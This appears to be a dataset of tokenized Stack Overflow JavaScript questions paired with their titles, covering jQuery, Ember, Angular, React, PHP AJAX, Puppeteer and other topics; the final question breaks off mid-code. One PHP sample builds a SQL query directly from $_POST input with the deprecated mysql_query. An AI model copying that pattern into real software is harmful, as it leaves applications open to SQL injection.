'' sortable2 '' class= '' connectedSortable '' > < li class= '' ui-state-highlight '' > Item 1 < /li > < li class= '' ui-state-highlight '' > Item 2 < /li > < li class= '' ui-state-highlight '' > Item 3 < /li > < li class= '' ui-state-highlight '' > Item 4 < /li > < li class= '' ui-state-highlight '' > Item 5 < /li > < /ul > < /body > < /html >",How can I restrict jQuery UI connected lists drag and drop to single direction "JS : I do n't understand that why I look at the following website for a CDN , the URL 's start with a double `` // '' . I have seen this on JQuery and Bootstrap . Is it up to the person to put http : // or https : // ? http : //www.bootstrapcdn.com/ < link href= '' //netdna.bootstrapcdn.com/twitter-bootstrap/2.3.2/css/bootstrap-combined.min.css '' rel= '' stylesheet '' >",Why does the CDN 's have 2 // instead of http or https in front of the URL "JS : I 'm migrating my project from a situation where it was a nested asset in a Rails app to a separate frontend with Ember-Cli . And I 've been stuck with the following problem for quite some time now : When running $ Ember serve in my terminal and opening localhost:4200 with Chrome I get the following error in the console : Uncaught TypeError : undefined is not a function in app-boot.js:25On that line the following code is present : I added a breakpoint on that line and checked if require ( `` my_app/app '' was defined , and it was Object { default : Class } so I checked if the default object property was defined , and this also was the case : The console output of require ( `` my_app/app '' ) [ `` default '' ] can be seen in the following screenshot : This is the content of my config/environment file : And this is the content of my app/index.html file : And this is the content of my app/app.js file : I 'm using the latest version of Ember-cli , Ember v1.10.0 , ember-data v1.0.0-beta.15 and Jquery 1.11.2============= Update 1 : origin of app-boot.js ==================Someone asked where the app-boot.js was located as he was only familiar with https : //github.com/ember-cli/ember-cli/blob/master/lib/broccoli/app-boot.jsBelow is a screenshot of the resources pane in Chrome , showing that it is in fact a compiled vendor asset of ember-cli.== Update 2 : commenting I18N import and include constants in initialisation ==I did do some refactoring and commented the I18N import that maybe is conflicting . I also included the constants inside the Ember app initialisation . see screenshot below for current version of app.js : I did n't edit my Brocfile.jsas far as I know but decided to include a screenshot of it anyway because maybe it contains a bug.. you never know..I hope someone knows a solution for this problem or can point me in the right direction . If you need more information do n't hesitate to ask ! Thanks in advance , Alexander Jeurissen require ( `` my_app/app '' ) [ `` default '' ] .create ( { `` defaultLocale '' : '' en '' , `` name '' : '' my_app '' , `` version '' : '' 0.0.0.bece32c1 '' } ) ; Class { modulePrefix : `` my_app '' , podModulePrefix : undefined , Resolver : function , _readinessDeferrals : 1 , $ : function… }",Ember-cli require ( `` my_app/app '' ) [ `` default '' ] .create is not a function "JS : I have complex and probably rookie bug in logic of my application , so I 'll try to give comprehensive amount of information . I have registration form binded to my data model . Phone number fields can be added by user during registration and saved as array . My model : And representation of this part of formMy methods for adding and removing phones . I added logs and incremental index for debug purposes : And from this part strange things happen . According to logs data writes in my model properly but in UI last element replaces everything in input fields . But after removing one of the phones displayed phones for this moment seems like represent last state of UI.My logs captured during recording : Any help appreciated and thanks in advance . export class RegistrationFormModel { // // Phones : Array < { Phone : string ; } > ; // // } < ion-item *ngFor= '' let Phone of regModel.Phones ; let i = index '' > < ion-label floating > Phone number* < /ion-label > < ion-input type= '' tel '' required [ ( ngModel ) ] = '' regModel.Phones [ i ] .Phone '' name= '' Phone '' # Phone= '' ngModel '' pattern= '' \d { 10 } '' > < /ion-input > < ion-icon *ngIf= '' i==0 '' name= '' ios-add-circle-outline '' item-right no-padding ( click ) = '' addPhone ( ) '' > < /ion-icon > < ion-icon *ngIf= '' i ! =0 '' name= '' ios-remove-circle-outline '' item-right no-padding ( click ) = '' removePhone ( i ) '' > < /ion-icon > < /ion-item > debugIndex = 0 ; \\ \\ addPhone ( ) { console.log ( 'phones before add : ' + JSON.stringify ( this.regModel.Phones ) ) ; this.regModel.Phones.splice ( ( this.regModel.Phones.length ) , 0 , { Phone : `` + this.debugIndex++ } ) ; console.log ( 'phones after add : ' + JSON.stringify ( this.regModel.Phones ) ) ; } removePhone ( i : number ) { console.log ( 'phones before delete : ' + JSON.stringify ( this.regModel.Phones ) ) ; this.regModel.Phones.splice ( i , 1 ) ; console.log ( 'phones after delete : ' + JSON.stringify ( this.regModel.Phones ) ) ; } `` phones before add : [ { `` Phone '' : '' 123456789 '' } ] '' , `` phones after add : [ { `` Phone '' : '' 123456789 '' } , { `` Phone '' : '' 0 '' } ] '' , `` phones before add : [ { `` Phone '' : '' 123456789 '' } , { `` Phone '' : '' 4567890 '' } ] '' , `` phones after add : [ { `` Phone '' : '' 123456789 '' } , { `` Phone '' : '' 4567890 '' } , { `` Phone '' : '' 1 '' } ] '' , `` phones before delete : [ { `` Phone '' : '' 123456789 '' } , { `` Phone '' : '' 4567890 '' } , { `` Phone '' : '' 1 '' } ] '' , `` phones after delete : [ { `` Phone '' : '' 123456789 '' } , { `` Phone '' : '' 4567890 '' } ] '' , `` phones before add : [ { `` Phone '' : '' 123456789 '' } , { `` Phone '' : '' 4567890 '' } ] '' , `` phones after add : [ { `` Phone '' : '' 123456789 '' } , { `` Phone '' : '' 4567890 '' } , { `` Phone '' : '' 2 '' } ] '' , `` phones before add : [ { `` Phone '' : '' 123456 '' } , { `` Phone '' : '' 4567890 '' } , { `` Phone '' : '' 2 '' } ] '' , `` phones after add : [ { `` Phone '' : '' 123456 '' } , { `` Phone '' : '' 4567890 '' } , { `` Phone '' : '' 2 '' } , { `` Phone '' : '' 3 '' } ] '' , `` phones before add : [ { `` Phone '' : '' 123456 '' } , { `` Phone '' : '' 456789 '' } , { `` Phone '' : '' 2 '' } , { `` Phone '' : '' 3 '' } ] '' , `` phones after add : [ { `` Phone '' : '' 123456 '' } , { `` Phone '' : '' 456789 '' } , { `` Phone '' : '' 2 '' } , { `` Phone '' : '' 3 '' } , { `` Phone '' : '' 4 '' } ] '' , `` phones before delete : [ { `` Phone '' : '' 123456 '' } , { `` Phone '' : '' 456789 '' } , { `` Phone '' : '' 2 '' } , { `` Phone '' : '' 3 '' } , { `` Phone '' : '' 4 '' } ] '' `` phones after delete : [ { `` Phone '' : '' 123456 '' } , { `` Phone '' : '' 456789 '' } , { `` Phone '' : '' 2 '' } , { `` Phone '' : '' 4 '' } ] '' , `` phones before add : [ { `` Phone '' : '' 123456 '' } , { `` Phone '' : '' 456789 '' } , { `` Phone '' : '' 47890 '' } , { `` Phone '' : '' 4 '' } ] '' , `` phones after add : [ { `` Phone '' : '' 123456 '' } , { `` Phone '' : '' 456789 '' } , { `` Phone '' : '' 47890 '' } , { `` Phone '' : '' 4 '' } , { `` Phone '' : '' 5 '' } ] ''",Using ngFor with ngModel dynamic data wrong behaviour "JS : Hi I have a page that lets a user view results for a certain tournament and roundUser will select sport then tournament is populated based on sport selection then user will select round which is populated based on tournament selectionWhen all is done user press Submit button which will look up the results for the result based on tournament and round selectedMy code is working great : mainPage.phpget_sport.phpget_round.phpEXAMPLESport= > Football ; Tournament= > EPL ; Round= > 5 ; Assuming the above is selected when the user clicks submit the code will query select results from someTable Where sport='Football ' AND ... My ProblemI get the data from the selectboxes by using a simple php isset ( ) functionNow my problem is when submit is clicked everything works BUT the form gets reloaded , which is what I do n't wantIm looking for an AJAX equivalent of isset ( ) or a way for the data to be submitted without the form reloading Any ideas/help will greatly be appreciated < script type= '' text/javascript '' > $ ( document ) .ready ( function ( ) { $ ( `` .sport '' ) .change ( function ( ) { var id= $ ( this ) .val ( ) ; var dataString = 'id='+ id ; $ .ajax ( { type : `` POST '' , url : `` get_sport.php '' , dataType : 'html ' , data : dataString , cache : false , success : function ( html ) { $ ( `` .tournament '' ) .html ( html ) ; } } ) ; } ) ; $ ( `` .tournament '' ) .change ( function ( ) { var id= $ ( this ) .val ( ) ; var dataString = 'id='+ id ; $ .ajax ( { type : `` POST '' , url : `` get_round.php '' , data : dataString , cache : false , success : function ( html ) { $ ( `` .round '' ) .html ( html ) ; } } ) ; } ) ; } ) ; < /script > < label > Sport : < /label > < form method= '' post '' > < select name= '' sport '' class= '' sport '' > < option selected= '' selected '' > -- Select Sport -- < /option > < ? php $ sql= '' SELECT distinct sport_type FROM events '' ; $ result=mysql_query ( $ sql ) ; while ( $ row=mysql_fetch_array ( $ result ) ) { ? > < option value= '' < ? php echo $ row [ 'sport_type ' ] ; ? > '' > < ? php echo $ row [ 'sport_type ' ] ; ? > < /option > < ? php } ? > < /select > < label > Tournamet : < /label > < select name= '' tournament '' class= '' tournament '' > < option selected= '' selected '' > -- Select Tournament -- < /option > < /select > < label > Round : < /label > < select name= '' round '' class= '' round '' > < option selected= '' selected '' > -- Select Round -- < /option > < /select > < input type= '' submit '' value= '' View Picks '' name= '' submit '' / > < /form > if ( $ _POST [ 'id ' ] ) { $ id= $ _POST [ 'id ' ] ; $ sql= '' SELECT DISTINCT round FROM events WHERE tournament= ' $ id ' '' ; $ result=mysql_query ( $ sql ) ; ? > < option selected= '' selected '' > Select Round < /option > < ? php while ( $ row=mysql_fetch_array ( $ result ) ) { ? > < option value= '' < ? php echo $ row [ 'round ' ] ? > '' > < ? php echo $ row [ 'round ' ] ? > < /option > < ? php } } ? > if ( isset ( $ _POST [ 'submit ' ] ) ) { echo $ sport= $ _POST [ 'sport ' ] ; echo $ tour= $ _POST [ 'tournament ' ] ; echo $ round= $ _POST [ 'round ' ] ; : :",submitting form with ajax and php "JS : I 've been trying to learn the basics of React . However , I 've come across a section in the tutorial that asks me to place an alert ( ) inside of an onClick event as such : I do n't understand why the arrow function is required - why ca n't I just have the alert ( ) on its own ? The docs state : Forgetting ( ) = > and writing onClick= { alert ( 'click ' ) } is a common mistake , and would fire the alert every time the component re-renders.Which is correct - I 've tried this , and it does continually call alert ( ) . But why ? Is n't it supposed to fire onClick , and not on render ? What does the anonymous function do that stops this behaviour ? < button className= '' square '' onClick= { ( ) = > { alert ( `` click '' ) ; } } > { this.state.value } < /button >",Why do I need to pass an anonymous function into the onClick event ? "JS : The code below paints correctly but it paints to wrong coordinates . It should paint the place where the mouse is . I was not able to discover my mistake . Thanks.JSFIDDLE container.mousedown ( function ( e ) { var parentOffset = $ ( this ) .offset ( ) ; var x = e.pageX - parentOffset.left ; var y = e.pageY - parentOffset.top ; context_temp.beginPath ( ) ; context_temp.moveTo ( x , y ) ; started = true ; } ) ; container.mousemove ( function ( e ) { var parentOffset = $ ( this ) .offset ( ) ; var x = e.pageX - parentOffset.left ; var y = e.pageY - parentOffset.top ; if ( started ) { context_temp.lineTo ( x , y ) ; context_temp.stroke ( ) ; } } ) ; container.mouseup ( function ( e ) { var parentOffset = $ ( this ) .offset ( ) ; var x = e.pageX - parentOffset.left ; var y = e.pageY - parentOffset.top ; if ( started ) { container.mousemove ( x , y ) ; started = false ; update ( ) ; } } ) ;",Mouse position on canvas painting "JS : How do I check if a variable is of type DOMWindow in Google Chrome ? When I try referencing the DOMWindow type , I get a ReferenceError . For example , when I try checking the type of window in the console : But window is clearly of type DOMWindow . What am I doing wrong ? > window instanceof DOMWindow ReferenceError : DOMWindow is not defined",How to reference DOMWindow type in Google Chrome ? "JS : I was going through Eloquent JavaScript ( again ) and came across exercise `` Chess Board '' of Chapter 2 . I had my one decent version of solution written back in the day when I was first time reading it , and another version of solution provided at the Elequent Javascript website . I 'm one of the newbies that wan na be super-efficient programmers with only one question in their head : `` Can I make it work a tad faster or smaller in anyway ? `` So , during my search on the web few months ago , I came across a question on Stack Overflow , regarding for loop vs while loop on basis of performance . Since in that thread it was mentioned for loops are slower than while and loops with decrementing iterator are faster so I rewrote the code for better performance.Here 's the new version with for replaced with while and conditions edited for decrementing : But to my surprise this code had even worse performance . Then , after a while I found out that if ( ( i - j ) % 2 === 0 ) was the main culprit , replacing minus sign with plus reduced the total time of execution to ~ 750msWhy is subtraction having such huge impact on total execution time ? Edit 01 6:30 AM ( GMT ) 8th August After looking at @ jaromandaX answer I 'm Pretty sure that it is not the subtracting thats slowing down this loop , its the modulo of negative Number.Again I wan na know what makes modulo of negative number slower console.time ( `` looping '' ) ; var gridSize = 5000 , str = `` , i = gridSize , j ; while ( i -- ) { j = gridSize ; while ( j -- ) { if ( ( i - j ) % 2 === 0 ) str += `` `` ; else str += `` # '' ; } str += `` \n '' ; } //console.log ( str ) ; console.timeEnd ( `` looping '' ) ; //Checked on NODE.js = v6.11.2Book version of code -- > 893.76 mswhile loop with subtraction -- > 1562.43 mswhile loop with addition -- > 749.62 ms//firefox Benchmark v54.0 ( 64-bit ) ( OS Ubuntu 16.04 ) Book version of code -- > 725.10 mswhile loop with subtraction -- > 1565.29 mswhile loop with addition -- > 601.12 ms",Javascript Performance : Modulus operation of negative Number within decrementing loop slowing the code by more than 100 % "JS : I am developing a .NET web application where I have to do ajax requests with the javascript function setInterval ( ) to refresh the information of some pages . With each ajax request I receive a xml response of about 68 KB that I manage to do visual changes in the html through jQuery . I set the interval to 2000 milliseconds but I would like , or rather , I am going to need to reduce it to 1000 ms.Unfortunately , with each request the memory consum of the CPU increases and this provokes that the browser gets blocked and the user ca n't use it unless he reloads the page . I have tested this in Firefox , Internet Explorer and Chrome but the result is always the same . If I do n't do setInvertal ( ) , the problem disappear.Also , I have been testing the scope of all my javascript variables but I have n't found anything wrong and I suppose that Javascript has a efficient garbage collector to clean them.I hope I have explained clear the issue . Does someone have some idea to resolve it ? Modified : I am using jQuery framework . My code is : var tim ; $ ( document ) .ready ( function ( ) { tim = window.setInterval ( `` refresh ( ) '' , 2000 ) ; } ) ; function refresh ( ) { $ .post ( `` procedures.aspx '' , $ ( `` # formID '' ) .serializeArray ( ) , function ( data ) { if ( data ! = `` '' ) { var xml = $ .parseXML ( data ) ; ... ( read and process xml to do changes in the html ) } } }",Using of javascript setInvertal increases memory consum of CPU "JS : I have an objectId like this : [ `` 56153e4c2040efa61b4e267f '' , '' 56033932efefe0d8657bbd9e '' ] To save that information in my model I use : What I 'm trying to do is to pull an element of the array that is equal to objectId that I send from the front end in a delete request.The code I 'm using : I 'm using lodash library.The problem I suppose is that the array have ObjectId elements and I 'm trying to compare with an string that is the request.params.itemId . items : [ { type : mongoose.Schema.Types.ObjectId , ref : 'Items ' } ] _.remove ( unit.items , request.params.itemId ) ;",Remove an ObjectId from an array of objectId "JS : How to convert Set to Array ? gives three answers for converting a Set to an Array , none of which currently work in the Chrome browser . Let 's say I have a simple SetI can iterate through my variable and add the elements to an empty arrayBut are there any other ways to do this that have wider browser support ? var set_var = new Set ( [ ' a ' , ' b ' , ' c ' ] ) ; var array_var = [ ] ; set_var.forEach ( function ( element ) { array_var.push ( element ) } ) ;",How to convert a Set to an Array in Chrome ? "JS : I am using jquery templates to generate a tree structure to display a treeview of sections and items.The structure of data looks like this , where each section has items and sections and each item can have more sections : My templates then recursively call each other : I am finding however with around 4 levels into the structure I receive a `` too much recursion '' error in my console.Is this just a limitation of the jQuery Template engine ? Edit : I 've resolved this by removing the { { each } } and replacing it with a { { tmpl } } call . The { { each } } was not needed . I have also wrapped each { { tmpl } } call in an { { if } } to ensure the collection exists . section items item sections item sections sections section sections items ... and so on < script id= '' my-item-tmpl '' type= '' text/x-jquery-tmpl '' > < li > < span > $ { text } < /span > < ul > { { each sections } } { { tmpl ( $ value ) `` sectionTmpl '' } } { { /each } } < /ul > < /li > < /script > < script id= '' my-section-tmpl '' type= '' text/x-jquery-tmpl '' > < li > < span > $ { text } < /span > < ul > { { each items } } { { tmpl ( $ value ) `` itemTmpl '' } } { { /each } } { { each sections } } { { tmpl ( $ value ) `` sectionTmpl '' } } { { /each } } < /ul > < /li > < /script > $ ( `` # my-item-tmpl '' ) .template ( 'itemTmpl ' ) ; $ ( `` # my-section-tmpl '' ) .template ( 'sectionTmpl ' ) ; $ .tmpl ( 'sectionTmpl ' , { section } ) .appendTo ( this ) ;",JQuery Templates - too much recursion "JS : Ok so im making a blog which requires users to login through firebase . To post comments , their email has to be verifiedI know how to verify the email , and i did so with my test account . When i typed into the consoleit returned true , so yes my email was verified.But the comment .validate rule requires the user to be validated , like so : However it was n't working , so i removed it and it began to work againAfter a bit of reading , I realized that i had toAnd that makes it work perfectly . The explanation was it apparantly takes the firebase server some time to update its backend validation , but reauthenticating forces the update immediately.However , I am stumped on how to ask the user to reauthenticate themselves , as i have the following problemHow do I know when the users is validated ( firebase.auth ( ) .currentUser.emailValidated ) , and at the same time the firebase backend is not updated ( auth.token.email_verified === true is false ) so that i can update my UI and prompt the user to reauthenticateBasically how can i know when auth.token.email_verified === true is not updated yet on the client sideedit also is there a client side solution without reauthentication that updates the backend validation ? edit I tried user.reload ( ) .then ( ( ) = > window.location.replace ( '/ ' ) ) but it didnt work firebase.auth ( ) .currentUser.emailVerified auth.token.email_verified === true const credentials = firebase.auth.EmailAuthProvider.credential ( user.email , password ) ; user.reauthenticateWithCredential ( credentials ) .then ( ( ) = > { /* ... */ } ) ;",Firebase token.email_verified going weird "JS : I am trying to smoothly transition from one panoramic cube image into another to achieve a walk-through effect inside the room . I used this sample as a starter with Scene , Camera , Mesh SkyBox all set up . Now I am thinking of best ways to transition into a new panoramic cube so one cube image zooms in and blends into another as if user walks in the room . I have thought of having a second Scene and second Camera , because old image needs to zoom in and fade out while new image to zoom in and fade in to achieve very smooth transition . I had some challenges here with displaying 2 images at the same time . Old one - sceneA - is not visible when SceneB appears and covers it with : But even if fixed , I am giving it a second thought if this is a right approach . I would like to experiment with texture transitioning , perhaps . I can not find examples or get an idea how to do it . How to transition smoothly from one visible cube image ( texture ) into another using scenes or texture 's different source ? renderer.clear ( ) ; //multi-sceneif ( sceneA & & cameraA ) renderer.render ( sceneA , cameraA ) ; renderer.clearDepth ( ) ; renderer.render ( sceneB , cameraB ) ;",Three.js : Transition 2 Textures with Zoom and Blend Effects "JS : I know babel-node ignores node_modules by default , so I ran it three different ways to override it , all failed : ran babel-node app.js with .babelrc : result : SyntaxError : Unexpected token < for the required jsx node moduleran babel-node app.js with .babelrc : result : SyntaxError : Unexpected token < for the require jsx node moduleran babel-node ./bin/www -- ignore '/node_modules/ ( ? ! react-components ) with .babelrc : result : Using the register hook with the ignore option worked correctly.ran node app.js with this code in the beginning of app.jsEven though this works , I still want to know why my implementations with babel-node does not work . Thanks.references : How do I use babel in a node CLI program ? import a module from node_modules with babel but failedhttp : //babeljs.io/docs/usage/cli/http : //babeljs.io/docs/usage/options/ { `` presets '' : [ `` es2015 '' , `` react '' ] , `` only '' : [ `` app '' , `` node_modules/react-components '' ] } { `` presets '' : [ `` es2015 '' , `` react '' ] , `` ignore '' : `` node_modules\/ ( ? ! react-components ) '' } { `` presets '' : [ `` es2015 '' , `` react '' ] } [ project ] /node_modules/babel-preset-react/node_modules/babel-plugin-transform-react-jsx/lib/index.js:12 var visitor = require ( `` babel-helper-builder-react-jsx '' ) ( { ^TypeError : object is not a function require ( 'babel-core/register ' ) ( { ignore : /node_modules\/ ( ? ! react-components ) / } ) ;",babel-node fails to require jsx file in node_modules JS : I was going through react library code . After going through I found a special piece of code I am unable to understand its significance . Can someone help ? Here why react developer has wrapped the validateFormat into curly braces ? is there any significance of doing this . If I do the following it works the same - var validateFormat = function ( ) { } ; { validateFormat = function ( format ) { if ( format === undefined ) { throw new Error ( 'invariant requires an error message argument ' ) ; } } ; } var validateFormat = function ( ) { } ; validateFormat = function ( format ) { if ( format === undefined ) { throw new Error ( 'invariant requires an error message argument ' ) ; } } ;,What is the significance of `` { `` `` } '' braces around this react library code ? "JS : I am using the Google Sign-in Javascript library on my web page that runs on Python on Google App Engine . Everything works fine , unless the user has 3rd party cookies disabled ( in Chrome ) . The signup does open the account chooser ( if applicable ) and asks for permissions , however after that nothing happens.On desktop it returns to the signup page and shows following error in the console : However I ca n't detect this error so I ca n't respond to it either . On mobile , it just gets stuck on a white page . The additional issue here is that since I am asking for offline access , the first signup returns a refresh_token . Due to this error , I never receive this refresh_token.The error mentioned above shows immediately when I load the page . I would like to detect this , so that I can decide not to show the button and ask the user to enable 3rd party cookies . Failed to read the 'sessionStorage ' property from 'Window ' : Access is denied for this document .",Google Sign-in does nothing when 3rd party cookies are disabled "JS : In code from 2016 using sequelize ORM , I see model types defined with this pattern : However in the current sequelize docs you see most prominently documented : Sequelize.INTEGER ( or other type then integer ) .At the same time in the current docs I find also DataTypes still documented/used : here.On same page the Sequelize.INTEGER is used ... , is that only for deferrables or something ? I tried to find whether this altered over time or something but could not find it.When Sequelize.INTEGER is 'current solution ' could I just alter above code into : Or would using Sequelize as argument somehow make this fail ? module.exports = function ( sequelize , DataTypes ) { const Tasks = sequelize.define ( `` Tasks '' , { id : { type : DataTypes.INTEGER , [ ... etc . ] module.exports = function ( sequelize , Sequelize ) { const Tasks = sequelize.define ( `` Tasks '' , { id : { type : Sequelize.INTEGER , [ ... etc . ]",Sequelize.INTEGER vs DataTypes.INTEGER "JS : All , Recently I had posted a question Rotating a donut chart in javascript after it is rendered that was answered and am currently using it in my app . But now we need to take this one step further and hook this donut spinning chart ( high chart ) to update/highlight the corresponding row on a table . Basically here 's the layout . We have a donut chart on top that can spin ( right now it spins in clockwise , ideally , it should spin in both directions ) and a table at the bottom which is basically the data displayed on the donut . So now when the user rotates the donut the bottom piece of the donut should correspond and highlight the appropriate row in the table below . So potentially , if the bottom of the donut says IE7 , then the row IE7 should get highlighted and so on . I have a sample fiddle created here http : //jsfiddle.net/skumar2013/hV9aw/1/ for reference . Can somebody share some ideas/samples on how to go about doing this ? As always thanks for your help in advance . $ ( function ( ) { $ ( ' # mouseMoveDiv ' ) .mousemove ( function ( ) { var theChart = $ ( ' # container ' ) .highcharts ( ) ; var currStartAngle = theChart.series [ 0 ] .options.startAngle ; console.log ( 'currStartAngle : ' + currStartAngle ) ; var newStartAngle = currStartAngle + 5 ; if ( newStartAngle > 359 ) { newStartAngle = 5 ; } console.log ( newStartAngle ) ; theChart.series [ 0 ] .update ( { startAngle : newStartAngle } ) ; } ) ; var chart = new Highcharts.Chart ( { chart : { spacingTop : 50 , spacingBottom : 50 , spacingLeft : 50 , spacingRight : 50 , height : 500 , width : 500 , renderTo : 'container ' , type : 'pie ' } , title : { text : 'Interactive Pie Chart ' } , plotOptions : { pie : { center : [ `` 50 % '' , `` 50 % '' ] , startAngle : 90 , animation : false , innerSize : '30 % ' } } , series : [ { data : [ [ 'Firefox ' , 44.2 ] , [ 'IE7 ' , 26.6 ] , [ 'IE6 ' , 20 ] , [ 'Chrome ' , 3.1 ] , [ 'Other ' , 5.4 ] ] } ] } ) ; } ) ; < Title > Interactive pie/donut chart < /Title > < script src= '' http : //code.highcharts.com/highcharts.js '' > < /script > < div id= '' mouseMoveDiv '' > < div id= '' container '' style= '' height : 500px ; width : 500px '' > < /div > < /div > < table border= ' 1 ' width='100 % ' > < tr > < td > Firefox < /td > < td > 44.2 % < /td > < /tr > < tr > < td > IE7 < /td > < td > 26.6 % < /td > < /tr > < tr > < td > IE6 < /td > < td > 20 % < /td > < /tr > < tr > < td > Chrome < /td > < td > 3.1 % < /td > < /tr > < tr > < td > Other < /td > < td > 5.4 % < /td > < /tr > < /table >",create an interactive table while rotating the piechart "JS : Is it possible to add to sanity field with default value ? How can I extend it ? I want to create some fields with default variables . For example I have this code : export default { name : 'name ' , title : 'name ' , type : 'document ' , fields : [ { name : 'title ' , title : 'title ' , type : 'string ' , validation : Rule = > Rule.required ( ) , } , { name : 'key ' , title : 'key ' , type : 'slug ' , options : { source : 'title ' , maxLength : 96 } } , { name : 'geo ' , title : 'geo ' , type : 'geopoint ' , //default : { `` lat '' : 1 , '' lng '' : 2 } } , { name : 'tel ' , title : 'tel ' , type : 'string ' , //default : '122334554565 ' } , ] , preview : { select : { title : 'title ' } } }",How to create default value in field using sanity.io ? "JS : I was reading this article - http : //css-tricks.com/interviewing-front-end-engineer-san-francisco - about interviewing a Front-end Engineer . The guy who wrote the article suggested the following : Instead of asking about the complexity of a merge sort , ask about the complexity of this jQuery expression : He goes on to say : A correct answer to this will demonstrate both an understanding of basic computer science principles as well as a deeper knowledge of what jQuery is doing behind the scenes.So , what is the correct answer ? ( I would actually find it easier to talk about the complexity ( Big O ) of a merge sort , even though it 's been a while since I 've done any real analysis of algorithms . Not since college ! ) $ ( `` # nav a '' ) .addClass ( `` link '' ) .attr ( `` data-initialized '' , true ) .on ( `` click '' , doSomething )",Complexity of a jQuery Expression "JS : I added the following to my functions.php file : So i added the following callback function : This is what is returned to my javascript : So ofcourse when it reaches the $ .parseJSON ( msg ) line I get Uncaught SyntaxError : Unexpected number.So where does this 0 come from ? admin-ajax.php it says on line 97 : Why is this here , why am I reaching the die ( ' 0 ' ) line ? Shouldnt it be just die ( ) so it doesnt mess up my response ? Seems the only way to fix this is either modify admin-ajax.php or simply die ( ) at the end of my send_email_callback ( ) function . add_action ( 'wp_ajax_send_email ' , 'send_email_callback ' ) ; add_action ( 'wp_ajax_nopriv_send_email ' , 'send_email_callback ' ) ; send_email_callback ( ) { //do some processing echo json_encode ( array ( 'response'= > 'Ya man it worked . ' ) ) ; //return control back to *-ajax.php } { `` response '' : '' Ya man it worked . `` } 0 var request = $ .ajax ( { url : `` /wp-admin/admin-ajax.php '' , method : `` POST '' , data : { action : 'send_email ' , P : container } , dataType : `` html '' } ) ; request.done ( function ( msg ) { var obj = $ .parseJSON ( msg ) ; console.log ( obj.response ) ; } ) ; request.fail ( function ( jqXHR , textStatus ) { alert ( `` Request failed : `` + textStatus ) ; } ) ; } ) ; // Default statusdie ( ' 0 ' ) ;",Why does Wordpress ajax die ( ' 0 ' ) "JS : Maybe I 'm sleepy , but under what circumstances would the following occur ? This is occurring in a mocha test using puppeteerupdate : the exact entire codenode 9.11.2screenshot of test let foo ; page .evaluate ( ( ) = > { // return works ... but not closure assignment // does n't work foo = 'foo ' ; // works return 'bar ' ; } ) .then ( bar = > { console.log ( 'foobar ' , foo , bar ) ; // > foobar undefined bar } ) ; /* global describe , it , before , after */const fs = require ( 'fs-extra ' ) ; const path = require ( 'path ' ) ; const assert = require ( 'assert ' ) ; const puppeteer = require ( 'puppeteer ' ) ; const sleep = require ( 'shleep ' ) ; const extPath = path.resolve ( __dirname , '.. ' , 'build ' ) ; const { name } = fs.readJSONSync ( path.resolve ( extPath , 'manifest.json ' ) ) ; // Access chrome object in Extensions// https : //github.com/GoogleChrome/puppeteer/issues/2878describe ( 'chrome extension ' , ( ) = > { let browser ; let extensionPage ; before ( async function ( ) { this.timeout ( 90 * 1000 ) ; // start puppeteer browser = await puppeteer.launch ( { headless : false , args : [ ` -- disable-extensions-except= $ { extPath } ` , ` -- load-extension= $ { extPath } ` ] } ) ; // poll instead of hope this is enough time ? const EXT_LOAD_DELAY = 100 ; await sleep ( EXT_LOAD_DELAY ) ; const targets = await browser.targets ( ) ; const extensionTarget = targets.find ( ( { _targetInfo } ) = > _targetInfo.type === 'background_page ' & & _targetInfo.title === name ) ; const page = await extensionTarget.page ( ) ; let foo ; page .evaluate ( ( ) = > { // return works ... but not closure assignment // does n't work foo = 'foo ' ; // does n't log console.log ( 'foo ' , foo ) ; // works return 'bar ' ; } ) .then ( bar = > { console.log ( 'foobar ' , foo , bar ) ; // > foobar undefined bar } ) ; } ) ; it ( 'should load ' , async ( ) = > { assert ( true ) ; } ) ; } ) ;",variable not assigning inside promise "JS : For People With A Similar Question ( written after finding a solution ) : This problem , as you might notice according to the answers below , has a lot of different solutions . I only chose Evan 's because it was the easiest one for me implement into my own code . However , from what I tried , every other answer also worked . @ SalvadorDali linked this Kaggle page which was definitely interesting and I reccomend reading if you are interested . Prolog was also brought up as a possible solution , I 'm unfamiliar with it , but if you already know it -- it 's probably worth considering . Also , if you just want to get code to use there are working Javascript and Python examples below . However , each one had a different approach to the solution and I 'm not sure which is most effecient ( feel free to test it yourself ) .For further approaches/reading : http : //en.wikipedia.org/wiki/Breadth-first_searchProlog and ancestor relationshiphttps : //www.kaggle.com/c/word2vec-nlp-tutorial/details/part-2-word-vectorsSorry for the confusing title , I ca n't figure out a way to properly word my question -- any better ideas are welcome.Because I 'm having such a difficult time describing my question , I 'll try to explain my goal and code as much as needed : Note : my code here is Go , but I 'd be happy with answers in other languages as well , if you have any questions I 'll try to answer as quick as possibleBasically , I have an array of `` Word '' objects that look like this : This is an example of 4 words within the array : My challenge is writing a method to test for a relationship between 2 words . Of course , testing between 2 words like `` cat '' and `` kitten '' would be easy with the example above . I could just check `` Cat '' s list of synonyms and test to see if it contains `` kitten . '' With code like this : However , I ca n't figure out how to test for a more distant relationship.For example : I tried to do it recursively , but all my attempts do n't seem to work . Any example code ( My code is in Go , but Python , Java , or Javascript are also fine ) , pseudocode or just explanations would be really great . type Word struct { text string synonyms [ ] string } [ ] Word { { text : `` cat '' synonyms : [ `` feline '' , `` kitten '' , `` mouser '' ] } { text : `` kitten '' synonyms : [ `` kitty '' , `` kit '' ] } { text : `` kit '' synonyms : [ `` pack '' , `` bag '' , `` gear '' ] } { text : `` computer '' synonyms : [ `` electronics '' , `` PC '' , `` abacus '' ] } } areWordsRelated ( word1 Word , word2 Word ) bool { for _ , elem : = range word1.synonyms { if elem == word2.text { return true } } return false } areWordsRelated ( `` cat '' , '' pack '' ) //should return true //because `` cat '' is related to `` kitten '' which is related to `` pack '' areWordsRelated ( `` cat '' , `` computer '' ) //should return false",How to find Relationships between Objects "JS : As shown in the picture below , the sidebar goes below its wrapper . How do I stop the fixed background image from scrolling if it goes below the wrapper ? I do n't want it to touch the footer.Here are my codes : HTML Codes : < script > $ ( function ( ) { //Sidebar navigation var scrollNavTop = $ ( '.scroll ' ) .offset ( ) .top ; $ ( window ) .scroll ( function ( ) { if ( $ ( window ) .scrollTop ( ) > scrollNavTop ) { $ ( '.scroll ' ) .css ( { position : 'fixed ' , top : '0px ' } ) ; } else { $ ( '.scroll ' ) .css ( { position : 'relative ' , top : '0px ' } ) ; } } ) ; } ) ; < /script > < div class= '' wrapper '' > < % -- SMOOTH SCROLL -- % > < div class= '' scroll '' > < div style= '' margin:0 auto ; '' > < div style= '' background-image : url ( image/scrolltopNew.png ) ; background-repeat : no-repeat ; 